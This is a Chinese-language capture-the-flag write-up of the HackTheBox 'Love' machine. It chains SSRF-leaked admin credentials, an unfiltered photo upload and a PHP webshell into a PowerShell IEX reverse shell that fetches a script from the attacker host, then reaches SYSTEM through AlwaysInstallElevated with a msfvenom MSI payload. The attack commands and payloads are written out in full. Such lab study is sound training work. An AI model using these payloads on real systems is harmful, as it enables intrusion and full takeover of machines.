HTB: Love — Easy
| 靶機 | Love |
|---|---|
| 平台 / 類型 | HackTheBox / Windows 獨立工作站(非網域) |
| 難度 | Easy |
| 目標 IP | 10.129.48.103 |
| Kali IP | 10.10.15.48 |
| vhost | love.htb / staging.love.htb |
| OS 版本 | Windows 10 Pro 19042(Build 19042)x64,VMware,WORKGROUP |
staging.love.htb →
staging.love.htb/beta.php 的 File Scanner 具備
SSRF,打
http://127.0.0.1:5000 繞過 Forbidden 取得
admin : @LoveIsInTheAir!!!! →
以憑證登入 love.htb/admin(Voting System)→
Photo Upload 功能無過濾,上傳 PHP webshell 取得
RCE → IEX reverse shell 立足為
LOVE\Phoebe →
winPEAS 發現 AlwaysInstallElevated(HKLM + HKCU = 1)→
msfvenom MSI + msiexec 提權至
NT AUTHORITY\SYSTEM。
目錄
1. Recon 公網枚舉
1.1 全埠快掃
先快速掃出所有開放埠,再針對開放埠做服務版本偵測,節省時間。
# nmap -p- –min-rate 10000 -oN allports.nmap 10.129.48.103
- 開放:
80, 135, 139, 443, 445, 3306, 5000, 5040, 5985, 5986, 47001, 49664–49670 80/443→ Web,445→ SMB,3306→ MySQL,5985/5986→ WinRM,5000→ 未知
1.2 服務版本偵測
# nmap -p 80,135,139,443,445,3306,5000,5040,5985,5986,47001,49664,49665,49666,49667,49668,49669,49670 -sCV -oN services.nmap 10.129.48.103
80/tcp:Apache 2.4.46 PHP/7.3.27,http-title: Voting System using PHP→ 有 Web 應用443/tcpTLS 憑證:Subject: CN=staging.love.htb, O=ValentineCorp★ 洩漏 vhost 名稱5000/tcp:Apache 403 Forbidden → 只開放 localhost,SSRF 候選445/tcp:簽章非強制(message_signing: enabled but not required)3306/tcp:MariaDB 10.3.24,拒絕外部連線- SMB scripts → OS: Windows 10 Pro 19042,WORKGROUP → 無 AD,無 Kerberos,攻擊面集中在本機
CN=staging.love.htb 就要立刻加進 /etc/hosts,這是最常見的 vhost 洩漏手法。O=ValentineCorp 說明這是自簽憑證,不是 CA 核發,靶機自己設定的。1.3 設定 /etc/hosts
# sudo nano /etc/hosts
# 加入以下行:
# 10.129.48.103 love.htb staging.love.htb
# ping -c 3 staging.love.htb
1.4 SMB 枚舉(排除)
# smbmap -H 10.129.48.103 -u shawn -p shawn
# smbclient -N -L //10.129.48.103
1.5 MySQL 枚舉(排除)
# mysql -h 10.129.48.103
1.6 Port 5040 探測(排除)
# curl -s -m 5 http://10.129.48.103:5040
2. Web 枚舉與 SSRF 利用
2.1 瀏覽各 Web 入口
分別訪問 love.htb 和 staging.love.htb 的 HTTP/HTTPS。
點擊 staging.love.htb 的 Demo 連結 → 導向 /beta.php:
2.2 SSRF 確認(非盲 SSRF)
Kali 架 http.server,讓 beta.php 的 File Scanner 去抓一個不存在的路徑,看 server log 是否有 callback:
# python3 -m http.server 80
在 beta.php 輸入 http://10.10.15.48/test,觀察 http.server 是否收到請求:
- http.server 收到 GET /test → 確認 SSRF,且為非盲(頁面直接回傳抓取結果)
- 來源 IP 是 10.129.48.103 → 由 target server 發出,可以打 localhost
2.3 SSRF 利用:打 localhost:5000 取得憑證
Port 5000 對外 403 Forbidden,但 server 自己可以訪問 127.0.0.1:5000:
在 beta.php 輸入 http://127.0.0.1:5000:
admin : @LoveIsInTheAir!!!!(Voting System 管理員)2.4 目錄爆破
用 gobuster 對 love.htb 做目錄爆破,找可上傳的路徑:
# gobuster dir -u http://love.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -b 404,403 -t 50
/admin→ Voting System 管理後台(需帳密,已有)/images→ 上傳目錄,PHP 可執行(Apache,無 .htaccess 限制) ← Webshell 目標
3. 立足點:Webshell → Reverse Shell
3.1 建立 PHP Webshell
# echo ‘<?php system($_REQUEST[“cmd”]); ?>’ > cmd.php
# cat cmd.php
3.2 上傳 Webshell
用 SSRF 取得的憑證登入 http://love.htb/admin(帳號 admin,密碼 @LoveIsInTheAir!!!!):
進入後台 → Voters → 新增 voter → Photo 欄位選擇 cmd.php → Submit
/images/ 目錄。3.3 驗證 RCE
在瀏覽器訪問 webshell,帶入 cmd=whoami:
http://love.htb/images/cmd.php?cmd=whoami
3.4 建立 Reverse Shell
Kali 建立 PowerShell reverse shell script(從 revshells.com 取得 PowerShell #3 格式):
# nano shell.ps1
# 內容:PowerShell TCP reverse shell,LHOST=10.10.15.48,LPORT=443
Kali 開兩個 Terminal:
(root㉿kali)-[~/Desktop/HTB/Love]
# rlwrap nc -lvnp 443# Terminal 2 — 架 HTTP server 供 target 下載 shell.ps1
(root㉿kali)-[~/Desktop/HTB/Love]
# python3 -m http.server 80
在瀏覽器觸發(URL 解碼後如下,瀏覽器自動將空白編碼為 %20):
http://love.htb/images/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.15.48/shell.ps1’)
IEX(Invoke-Expression)= 執行字串為 PowerShell 指令。New-Object Net.WebClient 建立 HTTP 客戶端,DownloadString 將 shell.ps1 下載為字串並立即執行(無落盤)。3.5 user.txt
4. 後滲透枚舉(Post-Exploit Enum)
4.1 基本 Token / 群組枚舉
PS C:\xampp\htdocs\omrs\images> whoami /groups
- 無 SeImpersonatePrivilege → 排除 Potato 類攻擊(PrintSpoofer / GodPotato 等)
- 成員:
Remote Management Users→ 可 WinRM 登入,但仍是低權
4.2 系統資訊
- 9 個 Hotfix 不多但也不少 → 核心漏洞可能性低,優先找配置錯誤
- VMware 環境 → 常有 VMware Tools 相關路徑(後續 winPEAS 會掃到)
4.3 winPEAS 下載(含錯誤記錄)
先在 Kali 架 http.server,再下載 winPEAS。
# python3 -m http.server 80
wget http://10.10.15.48/winPEASx64.exePowerShell 的
wget 是 Invoke-WebRequest 的 alias,不加 -outfile 時整個回應被載入記憶體(丟到 stdout)而不存成檔案。面對 ~10MB 二進位,用戶端收完即中斷連線,dir 查看目錄根本不會出現 wp.exe。
4.4 執行 winPEAS
winPEAS 掃描完畢後,關鍵發現(按可疑度排序):
| 發現 | 位置 | 可疑度 |
|---|---|---|
| AlwaysInstallElevated = 1(HKLM + HKCU) | Registry | 🔴 最高 — 直接提權 |
AV 排除路徑:C:\Administration、C:\xampp\htdocs\omrs |
Defender 設定 | 🟠 高 — Payload 存放地點 |
C:\Administration\*.exe 對 Phoebe 可寫 |
ACL | 🟡 中 — 備案 |
| LocalAccountTokenFilterPolicy = 1 | Registry | 🟡 中 — 橫向移動用 |
確認 AlwaysInstallElevated(winPEAS 發現後可用 reg query 驗證):
PS C:\xampp\htdocs\omrs\images> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
額外:讀取 PS 指令歷史紀錄(winPEAS 提示的敏感路徑):
5. 提權:AlwaysInstallElevated → SYSTEM
5.1 生成 MSI Payload
在 Kali 用 msfvenom 建立 MSI reverse shell:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.48 LPORT=445 -f msi -o ~/Desktop/HTB/Love/rev.msi
-p windows/x64/shell_reverse_tcp→ x64 Windows reverse shell(與 target 架構一致)-f msi→ MSI 安裝包格式,這是 AlwaysInstallElevated 的專用格式- LPORT 用 445(常開,不易被防火牆過濾)
5.2 傳輸 rev.msi 並執行
Kali 開兩個 Terminal:
(root㉿kali)-[~/Desktop/HTB/Love]
# rlwrap nc -lvnp 445# Terminal 2 — 架 http.server 供 target 下載 rev.msi
(root㉿kali)-[~/Desktop/HTB/Love]
# python3 -m http.server 80
在 Phoebe 的 shell 下載 rev.msi:
執行 MSI(/quiet /qn 靜默模式,不彈 UAC 視窗):
5.3 取得 SYSTEM Shell 與 root.txt
6. 陷阱 / 套路 / 學習點
6.1 wget 不加 -outfile 導致 0 bytes
❌ 常見錯誤:在 Windows PowerShell 用 wget(Invoke-WebRequest alias)下載執行檔時,沒有加 -outfile。
現象:指令執行完畢,dir 卻找不到檔案,http.server 顯示 200 後 ConnectionResetError。
根本原因:Invoke-WebRequest 不加 -outfile 時,把 body 送到 stdout,不存檔。
正確寫法:powershell wget http://<IP>/winPEASx64.exe -outfile wp.exe
6.2 SSRF 的發現路徑
這是一條很典型的 HTB 鏈,OSCP 考試中類似的邏輯:「找到可以讓 server 發請求的入口」就要想到 SSRF 打 localhost。
6.3 AlwaysInstallElevated — 兩個 hive 缺一不可
6.4 feroxbuster vs gobuster 雜訊問題
解法:改用 gobuster(不做 link extraction),或在 feroxbuster 加
--dont-extract-links。打靶機通常只需要找目錄和 PHP 檔案,資源路徑是噪音。




























